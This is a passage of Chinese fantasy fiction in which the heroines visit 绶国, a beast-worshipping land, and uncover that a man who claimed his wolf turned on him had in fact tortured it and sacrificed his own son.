那个名字,螺螺认识。
是他爹的名字。
“螺螺。”无名叫他。
螺螺回过头,脸上没有表情。
“那是爹打的。”他说,声音很轻,像是在说一件很平常的事,“爹就是打狼死的。”
无名看着他,又低头看了看脚下的狼皮毯子。
那毯子很大,很完整,皮毛油光水滑,显然是从一头壮年狼身上剥下来的。它铺在国王的座位下面,铺了厚厚一层,让那双穿着金丝履的脚踩得舒舒服服。那皮毛的颜色,那头狼的大小,那耳朵的形状——
无名蹲下来,伸手摸了摸那张毯子。
他的手在发抖。
“这是哪里来的?”他问。
国王的脸色变了一瞬,随即恢复正常:“这是——这是多年前猎户进贡的,父王也不知道是哪里来的。你喜欢?喜欢就送给你——”
“它叫什么?”
“什么?”
“它活着的时候,”无名的声音很轻,轻得像一片落叶,“叫什么?”
国王张了张嘴,说不出话来。
无名站起身,看着他。
那眼神依旧平静,没有恨意,没有愤怒,什么都没有。可正是这种什么都没有的眼神,让国王往后退了一步。
“你不知道,”无名说,“你什么都不知道。”
他转身,朝大殿深处走去。
那里供奉着一尊石像。
魔神的石像。
那石像有三丈高,青面獠牙,六臂四足,狰狞可怖。它的眼睛是用红宝石镶嵌的,在烛光下闪着妖异的光。它的六只手分别持着不同的法器——刀、剑、弓、箭、锤、链。它的四只脚踩在四个骷髅头上,那些骷髅头张着嘴,像是在无声地惨叫。
它矗立在大殿的最深处,俯瞰着整个王城,俯瞰着整个裳国。五十年来,无数人向它跪拜,向它祈求,向它献上祭品。它是裳国的神,也是裳国的噩梦。
无名站在石像前,仰头看着它。
“五十年了,”他喃喃道,声音在大殿里回荡,“你在我的身体里,住了五十年。”
石像的眼睛似乎亮了一下。
那是魔神的意识在苏醒。它感应到了自己的分身,感应到了契约的最后期限。那红光越来越亮,像是两团燃烧的火焰。
整个大殿开始颤抖。
烛光摇曳,钟磬乱响,金柱上的盘龙似乎都在扭动。碎石从殿顶簌簌落下,砸在地上,砸在桌上,砸在那些美味的食物上。
国王脸色大变:“你要做什么?你不能——那是魔神的化身——碎了它魔神会——会——”
无名没有理他。
他抬起手,按在石像上。
石像开始龟裂。
裂纹从他的手心向四周蔓延,像无数条蛇在石面上游走。咔嚓咔嚓的声音不绝于耳,越来越大,越来越密,像是有什么东西在里面挣扎、咆哮、嘶吼。
“不——”国王扑上来,想拉开他,“你疯了!魔神会震怒的!裳国会——”
无名一挥手,他被掀翻在地,滚了几滚,撞在柱子上。他趴在地上,咳出一口血,抬起头,眼睁睁地看着那尊石像。
裂纹继续蔓延。
蔓延到石像的头顶,蔓延到石像的六条手臂,蔓延到石像的四条腿,蔓延到石像脚下的骷髅头。那狰狞的面孔开始扭曲,红宝石的眼睛闪烁着疯狂的光芒,像是知道自己即将毁灭。
然后,轰的一声巨响。
石像碎了。
碎成千万块碎石,炸裂开来,洒了满地。烟尘弥漫,碎石飞溅,整个大殿都在震颤。
烟尘散尽后,原地只剩下一个少年。
他站在那里,浑身是汗,脸色苍白如纸,但眼神前所未有的清明。他的身上缠绕着一丝丝黑气,那些黑气从他的毛孔里钻出来,在空中扭动、挣扎,然后一点点消散,像雾一样消失在空气里。
他低下头,看着自己的手。
那双手还是他的手。但又不一样了。
有什么东西,离开了。
“你恨他吗?”
王城外,云河问出这句话的时候,无名已经走出了很远。
草原的风吹过来,带着青草的气息,带着野花的气息,带着自由的气息。远处的王城灯火通明,像是什么事都没发生过。没有人追出来,没有人阻拦他。国王答应了他的离开,就像他答应的所有事一样,干脆利落,毫不拖泥带水。
无名停下脚步,回头看了一眼。
那一眼很平静。他看着那座巍峨的城池,看着城墙上跳动的灯火,看着夜空中闪烁的星辰。五十年的记忆涌上心头——狼群的温暖,母亲的奶香,山林的自由,还有那一地的狼尸,那张狼皮毯子,那个空洞的眼眶。
“我不知道怎么恨。”无名说。
他的声音依旧沙哑,但多了一丝人味儿。
“他从未参与我的生命。我拿回了自己的东西。这里没有什么值得我留恋的了。”
螺螺站在他身边,闻言抬头看了他一眼,然后又低下头去。他的小手攥着无名的衣角,攥得很紧。
“你呢?”无名问他,“你要跟我走吗?”
螺螺想了想,点了点头。
“会吃苦。”
螺螺又点了点头。
无名看了他一会儿,忽然伸手,在他脏兮兮的头顶拍了一下。
那一下很轻,轻得像风吹过,像春天的第一缕风。
然后他转身,继续往前走。
螺螺跟上去,小小的身影渐渐没入夜色。两个影子在月光下越拉越长,最后融在一起,消失在茫茫草原的尽头。
陈瑶瑶看着他们的背影,叹了口气:“要是他留在这儿,说不定能继承王位,以后再也不用风餐露宿了。”
云河勾了勾嘴角。
“习惯自由的人,是忍受不了拘于一处的。”
陈瑶瑶想了想,点点头:“也是。”
她忽然想起什么,猛地转头看向云河。
“对了,他走得这么干净,我们还没拿报酬呢!”
云河愣住了。
那愣怔的表情在她脸上持续了足足三息,然后慢慢被一种奇怪的神情取代——三分茫然,三分恍然,还有四分“我居然忘了这种事”的难以置信。
“啊,”她说,“我忘了要。”
陈瑶瑶:“…………”
她瞪着云河,嘴巴张了又合,合了又张,像一条搁浅的鱼,有一肚子话要说,又不知道该从何说起。
偏心不要这么明显好吗!
对发财,她是什么事都记得清清楚楚——吃屎要擦屁股,挑食不吃玉米面,连掉下悬崖都要先把它抛上岸!
对别人,她是什么事都能忘——问三个问题能算错,要报酬能忘得干干净净,连自己姓什么都——
等等,她好像记得自己姓什么。
云河被她瞪得有些心虚,移开目光,干咳一声:“那个……任务完成了就行,报酬什么的……身外之物……”
“一斤狗粮!”陈瑶瑶打断她,声音都破了音,“你说的!不要掺玉米面!”
云河眨眨眼:“你不是还没买吗?”
陈瑶瑶一噎。
云河趁她愣神的工夫,撑开白骨伞,足尖一点,人已飘飘然升上半空。月光落在她身上,衣袂翩跹,长发飞扬,衬得她真像个不食人间烟火的仙子。
“走了,”她说,声音从半空中飘下来,“下一个境还等着呢。”
发财不知从哪里钻出来,颠颠地跑到陈瑶瑶脚边,仰头看她,两只大耳朵耷拉着,眼神无辜,嘴巴还在一咂一咂的,不知道又偷吃了什么。
陈瑶瑶低头看它,深吸一口气,又缓缓吐出来。
“发财,”她说,“你主人是不是一直都这样?”
发财歪了歪脑袋,呜了一声。
“算了,”陈瑶瑶弯腰把它抱起来,“反正我也习惯了。”
她抱着发财,看着半空中那个越来越小的月白色身影,忽然笑了。
远处,无名的背影已经彻底消失在夜色里。
近处,发财在她怀里打了个小小的哈欠,蜷成一团毛球。
头顶,万千星辰依旧静静流淌,像无数只眼睛,看着这万境之中,一个又一个的故事。
陈瑶瑶深吸一口草原的夜风,那风里带着青草的气息,带着远方的气息,带着未知的气息。
“下一个境,”她喃喃道,低头看了看怀里的发财,“会是什么样的呢?”
发财在她怀里翻了个身,露出毛茸茸的肚皮。
没有回答。
4. 绶国兽尊
陈瑶瑶这辈子没见过这样的地方。
城门是石头垒的,高有三丈,宽可并行五辆马车。可那城门上雕刻的,不是龙凤麒麟,不是神佛仙圣,而是——野兽。
狼、熊、虎、豹、獐、鹿、狐、兔,密密麻麻刻满了整面城墙。它们或蹲或卧,或奔或跃,或仰天长啸,或低头觅食,姿态各异,栩栩如生。最高处蹲着一头巨狼,蹲坐如山,仰头望月,那月亮是一块白玉镶嵌而成,在阳光下泛着温润的光。巨狼的眼睛是两颗墨晶,深邃幽黑,仿佛活物,正居高临下地打量着每一个进城的人。
陈瑶瑶仰着脖子看了半天,脖子都酸了。
“这地方……供的是野兽?”
云河没答话,只是撑着那把白骨伞,站在城门前,眯着眼睛打量那些雕刻。伞面上的骨珠流苏被风吹得叮当作响,像是在跟那些石兽打招呼。发财蹲在她脚边,两只大耳朵被风吹得一掀一掀的,它也仰着头,黑葡萄似的眼珠转来转去,不知道在看什么。看了一会儿,它忽然冲着那巨狼“呜”了一声,像是在问好。
“绶国。”云河开口了,声音淡淡的,“以兽为尊。”
陈瑶瑶一愣:“以兽为尊?什么意思?人不如兽?”
云河看了她一眼,那眼神里写着“你总算聪明了一回”。
陈瑶瑶张了张嘴,想说什么,又咽了回去。
她想起德德镇。德德镇以山神为尊,每年送一个新妇上山,新妇回来后就成了空壳子,生下孩子就死。那是以神为尊。
裳国以魔神为尊,献祭了国主自己的孩子,五十年不敢让孩子入境。那是以魔为尊。
现在这个绶国,以兽为尊。
人不如兽。
她忽然有点想笑。这万境之中,人到底算什么?
“走吧。”云河收起伞,迈步往城里走,“进去看看。”
陈瑶瑶抱起发财,跟了上去。
城门洞开,没有守卫。
——也对,那满墙的野兽,就是最好的守卫。
城里很热闹。
街道两旁全是店铺,卖什么的都有。布庄、粮铺、铁匠铺、酒肆、茶馆,和别的境没什么两样。可仔细一看,又处处不一样——
布庄里卖的布,织着野兽的花纹,有狼纹的、虎纹的、豹纹的,花花绿绿挂满一墙。粮铺门口蹲着两只大狗,毛色油亮,虎视眈眈地盯着来往的行人,那眼神不像看人,倒像看贼。铁匠铺打的不只是锄头镰刀,还有项圈、锁链、嘴套,大小不一,从巴掌大的小貂用的到水牛大的巨熊用的,一应俱全。酒肆门口挂着招牌,上面写着“狼奶酒”三个字,旁边还有一行小字:“幼兽专用,人亦可饮。”
街上走着的人,身边大多跟着野兽。
有人牵着狼,那狼昂首挺胸,走得比主人还神气。有人抱着狐,那狐皮毛火红,窝在主人怀里打盹。有人肩上蹲着一只貂,小小的脑袋转来转去,黑豆似的眼睛四处打量。有人怀里揣着一只兔,两只长耳朵一抖一抖的,不知道在听什么。
那些野兽或大或小,或凶或憨,跟在主人身边,有的乖巧,有的桀骜,但都干干净净,皮毛油光水滑,一看就是被精心伺候着的。
陈瑶瑶看得眼睛都直了。
“这、这这这——”她指着一条从身边走过的狼,那狼有小牛犊那么大,浑身灰毛,眼睛绿幽幽的,正盯着她怀里的发财,舌头伸出来舔了舔嘴,“它它它不会咬人吗?”
那条狼的主人是个中年汉子,闻言回头看了她一眼,目光在她身上转了一圈,又看了看她怀里的发财,忽然笑了。
“外乡人?”
陈瑶瑶点头。
“第一次来绶国?”
陈瑶瑶又点头。
那汉子笑容更深了,伸手指了指不远处的一面墙:“去看看那个。”
陈瑶瑶顺着他手指的方向看去,看见墙上贴着一张告示。她走过去一看,上面写着几行字——
绶国律法第一条:伤兽者,重罚。
绶国律法第二条:杀兽者,抵命。
绶国律法第三条:兽伤人类,不予追究。
陈瑶瑶看完,呆住了。
她缓缓转过头,看向那条狼。
那条狼还盯着她怀里的发财,舌头又舔了舔嘴。
陈瑶瑶把发财抱得更紧了,指节都攥得发白。
“放心,”那汉子笑道,“没有主人的命令,兽不会主动伤人。这是绶国的规矩,从小训出来的。不过——”他顿了顿,意味深长地看了她一眼,“你要是伤了它,那可就不好说了。”
他说完,带着那条狼走了。
那条狼临走前还回头看了发财一眼,那眼神里分明写着:下次见面,你可没这么好运了。
陈瑶瑶站在原地,出了一身冷汗。
云河不知何时走到她身边,看了一眼那张告示,表情没什么变化。
“有意思。”她说。
“有意思?!”陈瑶瑶差点跳起来,声音都破了音,“这哪里有意思了?!这分明是——分明是——”
“分明是什么?”
陈瑶瑶张了张嘴,说不出话来。
是啊,分明是什么?
分明是兽权高于人权?分明是本末倒置?分明是荒唐可笑?
可这是人家的境,人家的规矩。就像德德镇的山神,裳国的魔神,都是人家的规矩。她一个外乡人,有什么资格说三道四?
云河看着她那张憋得通红的脸,嘴角微微翘了翘——那笑意很浅,浅到几乎看不见,但确实存在。
“走吧,”她转身,“先找个地方落脚。”
陈瑶瑶抱着发财,蔫头耷脑地跟上去。
她们在城里走了一炷香的功夫,找到一家客栈。
客栈的名字叫“百兽居”,门口挂着两块招牌,左边写着“人住上房”,右边写着“兽住暖阁”。陈瑶瑶看了半天,也没看懂“暖阁”是什么,只知道比“上房”贵一倍。
掌柜的是个五十来岁的老头,圆脸,眯缝眼,脸上挂着笑,那笑容像是用浆糊粘上去的,怎么看怎么假。见她们进来,热情地招呼:“客官打尖还是住店?”
“住店。”云河道。
“好嘞!要上房还是暖阁?”
云河看了他一眼:“人住上房,兽住暖阁?”
掌柜的笑容不变:“客官是第一次来绶国吧?咱们这的规矩,人住人的地方,兽住兽的地方。暖阁有地龙,有软垫,有专人伺候,比上房舒服多了。客官要是带了兽,可得给它找个好住处,不然万一病了伤了,官府追究下来,可不好交代。”
云河低头看了看脚边的发财。
发财正蹲在地上,用爪子扒拉一只从门缝里钻出来的蟋蟀。那蟋蟀蹦一下,它追一步;蹦两下,它追两步。两只大耳朵垂在脸侧,随着动作一颤一颤的,专注得很,压根没听见掌柜的在说什么。
“它,”云河指了指发财,“住上房。”
掌柜的笑容僵了一瞬:“客官,这不合规矩——”
“它跟我住一间。”云河打断他,声音依旧淡淡的,却带着一股不容置疑的意味,“伤不了,死不了,官府追究,我担着。”
掌柜的还想说什么,对上云河那双清清冷冷的眼睛,不知怎的,话就咽了回去。
那眼神看着淡,可深处藏着的东西,让他这个在绶国开了三十年客栈的老江湖都不敢造次。
“行、行吧。两间上房,一天一两银子,先付三天的押金。”
云河从袖中摸出一块碎银,放在柜台上。
掌柜的收了银子,递过两把钥匙:“天字三号、天字四号,后院左手边,上楼就是。”
云河接过钥匙,转身就走。
陈瑶瑶抱着发财,跟在她身后,小声嘀咕:“我还以为你要把发财送暖阁呢。”
云河头也不回:“它住暖阁,谁给我暖脚?”
陈瑶瑶:“……”
她低头看了看怀里的发财,发财正专心致志地舔自己的爪子,对“暖脚”这个词毫无反应。
“发财,”她小声说,“你知道你主人把你当什么吗?”
发财抬起头,用那双黑葡萄似的眼睛无辜地看着她。
陈瑶瑶败下阵来:“算了,你可爱,你说了算。”
她们刚走到后院门口,就听见一阵嘈杂声。
后院是个不小的院子,中间有一棵大槐树,树冠如盖,遮了半边天。槐树下围着一群人,吵吵嚷嚷的,不知道在干什么。人群外围蹲着几只狗,正竖着耳朵往里看,像是也在瞧热闹。
陈瑶瑶踮起脚往里看,只看见人群中间跪着一个人,蓬头垢面,衣衫褴褛,正在磕头。那磕头的频率极快,“咚咚咚”跟捣蒜似的,听着都替他的额头疼。
“求求各位,救救我!我真的走投无路了!”
那人的声音沙哑,带着哭腔,像是被掐住了喉咙的公鸭。
围观的人七嘴八舌:
“怎么回事?”
“不知道啊,这人刚才冲进来就跪下,一直喊救命。”
“是不是得罪什么人了?”
“得罪人?绶国这地方,得罪人不要紧,得罪兽才要命。”
“哈哈哈哈——”
那人抬起头,满脸是泪,泪水和着额头上流下来的血,糊了一脸,看着好不可怜:“我不是得罪人,我是被——我是被我的狼反噬了!它咬死了我媳妇,咬死了我老娘,我被官府赶出来,无处可去,求各位收留我几天,等我找到落脚的地方就走!”
人群静了一瞬。
然后爆发出更大的议论声:
“被狼反噬?怎么可能!绶国的兽都是从小养大的,最是忠诚不过!”
“是啊,我家那条狼养了二十年,从来没伤过人,连咬人都没咬过。”
“这人该不会是犯了什么事,故意编瞎话吧?”
“你看他那样子,像编瞎话吗?”
“那谁知道……知人知面不知心,何况咱们又不认识他。”
那人跪在地上,不停地磕头,额头上的血越流越多,在地上洇出一小摊红。
陈瑶瑶看得心里一紧,正要上前,忽然听见一个声音从人群外传来:
“都让开。”
那声音年轻,清朗,带着一股不容置疑的威严,像是一把刀劈开了嘈杂的议论声。
人群自动分开一条道。
一个青年走了进来。
他约莫二十出头,身量颀长,肩宽腰窄,穿一身藏蓝色的锦衣,衣料讲究,绣着暗纹,行动间隐隐有光华流动,像是有水波在衣上流淌。他的背上背着一个箭筒,筒中插着十几支羽箭,箭羽是红色的,红得像火,像是一簇燃烧的烈焰。他的额头绑着一条红色抹额,抹额用金丝织成,正中间镶嵌着一颗拇指大的祖母绿宝石,那宝石绿得像一汪深潭,在阳光下泛着幽幽的光,衬得他整个人贵气逼人,却又带着一股说不清的野性。
他走到那人面前,低头看着他。
“你说,你的狼反噬了你?”
那人的头磕得更狠了,额头砸在地上“砰砰”响:“是、是!求公子救命!”
青年沉默了一瞬,忽然抬脚,踢开旁边一只挡路的木桶。那木桶骨碌碌滚出去,撞在槐树上,裂成几瓣。
“我帮你。”
人群哗然。
“公子,这人不明不白的——”
“是啊,万一他是撒谎——”
“绶国从来没有兽反噬主人的先例——”
青年回过头,目光扫过那些人,那目光冷得像冬天的风,像腊月的霜,像淬了冰的刀。
“没有先例,就不能有第一次?他跪在这里磕头,头都磕破了,你们就看着?”
那些人被他看得低下头去,不敢再吭声。有几个人甚至往后退了一步,像是怕被那目光刮伤。
青年转回头,对跪着的人说:“起来吧,带我去你家,我倒要看看,是什么样的畜生,敢反噬主人。”
那人千恩万谢地爬起来,踉踉跄跄地跟在他身后往外走。他的腿似乎有伤,走起来一瘸一拐的,却拼命跟上那青年的步伐。
经过陈瑶瑶身边时,陈瑶瑶看清了他的脸。
那是一张年轻的脸,眉眼清俊,鼻梁高挺,薄唇紧抿,看着有些冷。可那双眼睛里,分明燃烧着什么——那是愤怒,是正义感,是路见不平的意气,像是一团火在烧。
她的心忽然跳了一下。
云河的声音在耳边响起,带着一丝促狭:“别看了,眼珠子都快掉出来了。”
陈瑶瑶脸一红,慌忙收回目光。
云河却已经迈步跟了上去。
“走,”她说,“去看看热闹。”
陈瑶瑶抱着发财,连忙跟上。
她们跟着那青年和那人,穿过几条街,来到一处偏僻的巷子。
巷子很窄,两边是高高的墙,墙上长满了青苔,地上坑坑洼洼,积着污水。巷子尽头,是一扇破旧的木门,门上的漆都剥落了,露出下面灰白的木头。
那人推开门,里面是个不大的院子,杂草丛生,一片狼藉。正屋的门大开着,里面黑洞洞的,什么也看不清。院子的角落里堆着一些破烂的家什,有破锅、烂碗、缺了腿的凳子,还有一只翻倒的狗食盆——不对,是狼食盆。
“就是这儿。”那人说,声音还在发抖,牙齿上下磕得咯咯响,“我、我不敢进去……”
青年看了他一眼,迈步走进院子。
他刚走到正屋门口,忽然停住了。
陈瑶瑶从后面看过去,只看见他的背影僵了一瞬,像是一尊石像定在那里,然后慢慢转过身来。
他的脸色很难看。
不是愤怒,不是厌恶,而是一种更深的东西——像是意识到了什么不对劲,却还没抓住。
“你说的狼,”他一字一字道,“在哪儿?”
那人低着头,不敢看他,眼睛盯着地上的杂草:“被、被官府带走了……说是要、要处死……”
“你妻子和老母的尸体呢?”
“也、也被官府带走了……说是要、要安葬……”
青年盯着他,看了很久。
那目光像两把刀,要把那人从里到外剖开。
然后他忽然笑了。
那笑容冷得像冰,像冬天的风,像腊月的霜。
“你叫什么名字?”
那人愣了一下,抬起头:“我、我叫郭狈。”
“郭狈。”青年点了点头,像是在记住这个名字,“好,我记住了。”
他转身,大步往外走。
郭狈慌了,追上去扯住他的袖子,那袖子在他手里攥成一团:“公子!公子您答应帮我的!您不能走啊!”
青年一甩袖子,把他甩开。那力道极大,郭狈踉跄着后退几步,差点摔倒。
“帮你?”他回过头,目光如刀,“你让我怎么帮?帮你去找官府要人?还是帮你去找那条狼报仇?”
郭狈被他的目光逼得后退一步,嘴唇哆嗦着,说不出话来。
青年看着他,一字一字道:“你听着,不管你在绶国遭遇了什么,这件事,我管定了。绶国以兽为尊,不把人的命当命,这样的地方,就该灭了。”
他说完,足尖一点,人已掠出三丈远,几个起落就消失在巷子尽头。
那身法快得像一阵风,衣袂翻飞间,只留下一道藏蓝色的残影。
郭狈站在原地,愣愣地看着他的背影,脸上的表情说不清是喜是悲。
陈瑶瑶看得一头雾水,扯了扯云河的袖子:“他、他什么意思?要灭了绶国?”
云河没答话,只是看着那个青年的背影,若有所思。
“公孙潜龙。”她忽然开口。
陈瑶瑶一愣:“什么?”
“那个人的名字。”云河说,“公孙潜龙,修者。二十岁,修为不低。”
陈瑶瑶张大了嘴:“你认识他?”
“不认识。”云河淡淡道,“猜的。”
陈瑶瑶:“……”
这也叫猜?
云河转身,往来路走。
陈瑶瑶追上去:“我们去哪儿?”
“回客栈。”
“那这个人呢?郭狈?不管他了?”
云河头也不回:“管?拿什么管?我们连事情的原委都没弄清楚。”
陈瑶瑶想了想,觉得有道理。
可她回头看了一眼那个破旧的院子,看见郭狈还站在那里,像一根木桩子,孤零零的,风吹着他破烂的衣襟,猎猎作响,心里又有些不忍。
“走吧。”云河的声音从前面传来,带着一丝无奈,“有那个公孙潜龙在,他死不了。”
陈瑶瑶叹了口气,跟了上去。
回到客栈,天已经黑了。
陈瑶瑶躺在床上,翻来覆去睡不着。
发财蜷在她脚边,打着小小的呼噜,那呼噜声细细的,像一只小风箱。云河住在隔壁,一点声音都没有,安静得像是不存在。
她想着白天的事,想着那个叫郭狈的人,想着那个叫公孙潜龙的青年,想着绶国的那些规矩——
以兽为尊。
兽伤人类,不予追究。
那要是野兽咬死了人呢?也不追究?
她越想越睡不着,索性坐起来,披上衣服,走到窗边。
窗外是个小院子,月光照下来,地上白茫茫一片,像是铺了一层霜。院子的角落里蹲着一个人影,正在喝酒。
陈瑶瑶定睛一看,愣住了。
是公孙潜龙。
他坐在一块石头上,背靠着墙,一条腿屈起,一条腿伸直,手里拎着一个酒壶,仰头往嘴里灌。月光落在他的侧脸上,勾勒出清晰的轮廓——眉骨的弧度,鼻梁的线条,下巴的棱角,喉结随着吞咽的动作上下滚动。
他喝得很凶,一口接一口,像是要把自己灌醉。
陈瑶瑶犹豫了一下,推开门,走下楼梯,来到院子里。
脚步声惊动了他。他转过头来,看了她一眼。月光下,那双眼睛有些迷离,却依旧亮得惊人。
“你是谁?”
“我、我叫陈瑶瑶,住店的。”陈瑶瑶指了指楼上,声音小得像蚊子叫,“听见动静,下来看看。”
公孙潜龙“哦”了一声,收回目光,继续喝酒。
陈瑶瑶站在原地,不知道该走还是该留。风吹过来,凉飕飕的,她打了个哆嗦,却没动。
沉默了一会儿,她鼓起勇气问:“你、你还在想白天的事?”
公孙潜龙的动作停了一瞬。
然后他放下酒壶,抬头看着月亮。月光照在他脸上,照出一张年轻而疲惫的脸。
“你不觉得,这个地方,该灭吗?”
陈瑶瑶一愣:“灭了这里?”
“以兽为尊。”公孙潜龙的声音低沉,像是从胸腔里挤出来的,“野兽就是野兽,给它们吃喝,它们还是伤人。这放哪个境,都说不过去。”
陈瑶瑶沉默了。
她想起德德镇,想起那个每年要送一个少女上山的规矩。那个规矩,说得过去吗?
“可是,”她小声说,声音里带着一丝不确定,“我们只听了他的一面之词……”
公孙潜龙转过头,看着她。
月光下,他的眼睛很亮,亮得像两颗星星。
“你是说,他在撒谎?”
“我、我不是那个意思……”陈瑶瑶连忙摆手,脸都急红了,“我只是觉得,应该弄清楚事情的真相……”
公孙潜龙盯着她看了一会儿,忽然笑了。
那笑容很淡,淡得像月光,却带着一丝嘲讽。
“真相?什么真相?他媳妇被他养的狼咬死了,他老娘也被咬死了,他被官府赶出来,无处可去——这还不是真相?”
陈瑶瑶张了张嘴,说不出话来。
公孙潜龙站起身,把酒壶往地上一扔。那酒壶骨碌碌滚出去,里面的酒洒了一地,酒香四溢。
“你不用劝我。这件事,我管定了。”
他说完,大步流星地走了。
陈瑶瑶站在原地,看着他的背影消失在夜色里,心里乱成一团。
身后传来一个声音,幽幽的:“他走了?”
陈瑶瑶吓了一跳,回过头,看见云河不知何时站在她身后,穿着一身月白的寝衣,头发披散着,像一只夜游的鬼,又像一朵夜里开的昙花。
“你、你怎么出来了?”
云河没答话,只是看着公孙潜龙消失的方向,淡淡开口:“年轻气盛,容易被热血冲昏头。”
陈瑶瑶愣了一下:“你觉得那个郭狈在撒谎?”
云河收回目光,看了她一眼。
那一眼很深,像是一潭看不见底的水。
“我什么都没觉得。”她说,“我只知道,一件事,只听一面之词,就下判断,太早了。”
她转身,往楼上走。
走了几步,又停下来,侧过头说:“明天,我带你去看看真正的绶国。”
陈瑶瑶眼睛一亮:“怎么看?”
云河没答话,只是抬起手,指了指自己的头发。
陈瑶瑶愣住了。
第二天一早,陈瑶瑶终于知道云河说的“看看真正的绶国”是什么意思了。
她趴在桌上,看着云河变成一只虱子,跳上了发财的背。
那场面说不出的诡异——那么大一个人,忽然就缩成了针尖大小的一点,然后轻飘飘地落在发财的皮毛里,消失不见。
发财一脸茫然,低头看了看自己的肚子,又抬起头,用那双黑葡萄似的眼睛看着陈瑶瑶,像是在问:我身上是不是有什么东西?
陈瑶瑶艰难地咽了口唾沫:“发、发财,你主人……在你背上……”
发财低下头,又看了看自己的肚子,还是什么都没看见。它用爪子扒拉了一下皮毛,什么都没扒拉到,又抬起头,无辜地看着陈瑶瑶。
“它看不见我。”云河的声音从发财身上传来,飘飘忽忽的,像是从很远的地方飘来的风,“虱子太小了。好了,我们走了,你在这儿等着。”
“等等——”陈瑶瑶急了,“你们走了,我干什么?”
“等着。”云河的声音越来越远,像是飘进了风里,“天黑之前回来。”
发财抖了抖毛,颠颠地跑出了门。
陈瑶瑶追到门口,只看见一团奶黄色的身影消失在巷子尽头。
她站在门口,风吹过来,凉飕飕的。
“所以,”她自言自语,声音里带着一丝哀怨,“我就这么被丢下了?”
没有人回答她。
只有风吹过屋檐,发出呜呜的声响,像是在笑话她。
发财跑过三条街,在一户人家门口停下来。
那是一户很大的宅院,青砖灰瓦,朱漆大门,门口蹲着两只石狼,威风凛凛,张牙舞爪。门上挂着一块匾,乌木镶金,写着“郭宅”两个字,笔力雄浑,一看就是出自名家之手。
发财蹲在门口,竖起耳朵听。
云河趴在它背上,也竖起耳朵听。
宅子里有人在说话。
那声音是从门缝里飘出来的,一老一少,像是在闲聊。
“听说了吗?郭家出事了!”
“出什么事了?我这两天没出门,什么都不知道。”
“郭狈那小子,被官府赶出来了!说他养的狼反噬,咬死了他媳妇和老娘!”
“真的假的?绶国这么多年,从来没听说过兽反噬主人!”
“可不是嘛!所以官府才把他赶出来,说是他虐待兽,才惹出这祸事!”
“虐待兽?不能吧?他可是靠兽发家的啊!”
发财竖起耳朵,耳朵尖都快竖到天上去了。
云河趴在它背上,一动不动,连呼吸都停了。
“怎么不能?我跟你说,郭狈这人,表面看着老实,其实心眼多着呢。他当年一穷二白来绶国,靠什么发家?卖兽用品!项圈、锁链、嘴套、兽粮,什么赚钱卖什么。后来生意做大了,开了三家铺子,成了绶国有名的商贾。”
“那后来呢?”
“后来他娶了媳妇,姓余,叫余裕。那女人心善,特别喜欢他养的那条狼。那条狼是他从狼窝里抱回来的,从小养大,比儿子还亲。余裕嫁过来之后,天天和那条狼待在一起,喂它吃饭,给它梳毛,带它散步,比对自己儿子还上心。”
“然后呢?”
“然后郭狈就不高兴了。他觉得媳妇对狼比对自己好,天天吵架。吵了几年,余裕受不了了,带着儿子回了娘家。郭狈去找她,她不肯回来。郭狈一气之下,把那条狼的四肢砍了。”
发财的耳朵竖得更高了,整个身子都绷紧了。
云河趴在它背上,沉默地听着。
“砍了四肢?那狼不就废了?”
“可不是嘛!郭狈把它关在后院,天天折磨它。用鞭子抽,用火烫,用刀子割——那狼叫得那个惨啊,邻居都听见了,可谁也不敢管。绶国律法只保护兽不受伤害,可那狼是郭狈自己养的,算是他的私产,外人管不着。”
“那后来呢?”
“后来狼群找上门来了。那条狼的母亲是野狼,带着一群狼来报仇。郭狈吓坏了,你知道他干了什么?他把自己的儿子推出去挡灾!”
“什么?!”
那声音陡然拔高,像是被踩了尾巴的猫。
“真的!他把才五岁的儿子推出去,自己跑了。那群狼把他儿子咬得不成人形,他媳妇余裕冲进去救,也被咬死了。等官府的人赶到,狼群已经跑了,只留下两具尸体和那条被砍了四肢的狼。”
“那条狼呢?”
“被官府带走了,说是要治它伤人的罪。可它四肢都没了,能伤谁?是郭狈先虐待它,它母亲才来报仇的。要我说,该死的是郭狈!”
“那郭狈现在呢?”
“被官府赶出来了。绶国容不下虐待兽的人。他跑到街上喊冤,说自己的狼反噬,说他媳妇和老娘被咬死,绝口不提自己干的那些事。”
发财听完,抖了抖毛,转身就跑。
云河趴在它背上,一言不发。
天黑之前,发财回来了。
陈瑶瑶正趴在桌上打瞌睡,脑袋一点一点的,像小鸡啄米。听见动静,猛地抬起头,看见发财从窗户跳进来,颠颠地跑到她脚边,蹭了蹭她的腿。
“发财!”她一把抱起它,脸贴着它的毛,“你回来了!你主人呢?”
“在这儿。”
云河的声音从发财背上传来。下一刻,她变回人形,站在陈瑶瑶面前。
陈瑶瑶看着她,愣住了。
云河的脸色不太好,眉头微微皱着,像是在想什么事,又像是在忍耐什么。她的嘴唇抿成一条线,眼睛里有什么东西在翻涌。
“怎么了?”陈瑶瑶问,心里有些慌,“查出什么了?”
云河看了她一眼,把事情从头到尾说了一遍。
她的声音很平静,平静得像是在说一件无关紧要的事。可陈瑶瑶听着听着,手脚却越来越凉。
“所以……那个郭狈,他、他虐待自己的狼,砍了它的四肢,然后狼的母亲来报仇,他拿自己的儿子挡灾,媳妇冲进去救,也被咬死了——然后他倒打一耙,说是狼反噬?”
云河点了点头。
陈瑶瑶气得浑身发抖,牙齿咬得咯咯响:“他、他怎么敢!他怎么有脸!”
云河没说话,只是走到窗边,看着外面的夜色。
月亮已经升起来了,又大又圆,像一面银盘挂在空中。月光落在她身上,给她镀上一层银边,衬得她整个人像从月亮里走出来的。
“那个公孙潜龙,”她忽然开口,“今晚应该会去找郭狈。”
陈瑶瑶一愣:“你怎么知道?”
“他白天说了,这件事他管定了。以他的性子,今晚肯定要去问个清楚。”
陈瑶瑶想了想,觉得有道理。
“那我们去看看?”
云河转过身,点了点头。
两人推开门,刚走到客栈门口,就看见一个人影跌跌撞撞地走进来。
是公孙潜龙。
月光下,他的脸色惨白得像一张纸,藏蓝色的锦衣上满是血迹,有大片大片的暗红,也有飞溅的点点斑驳。他背上的箭筒还在,可那些红羽箭似乎少了几支。额头的红色抹额歪了,那颗祖母绿宝石歪在一侧,在月光下幽幽地闪着光,像是在无声地哭泣。他的眼神空洞,嘴唇紧抿,整个人像是被抽去了魂魄,只剩下一具躯壳在机械地行走。
陈瑶瑶吓了一跳,下意识往后退了一步,差点踩到蹲在脚边的发财。发财也吓了一跳,竖起耳朵,警觉地盯着那个浑身是血的人。
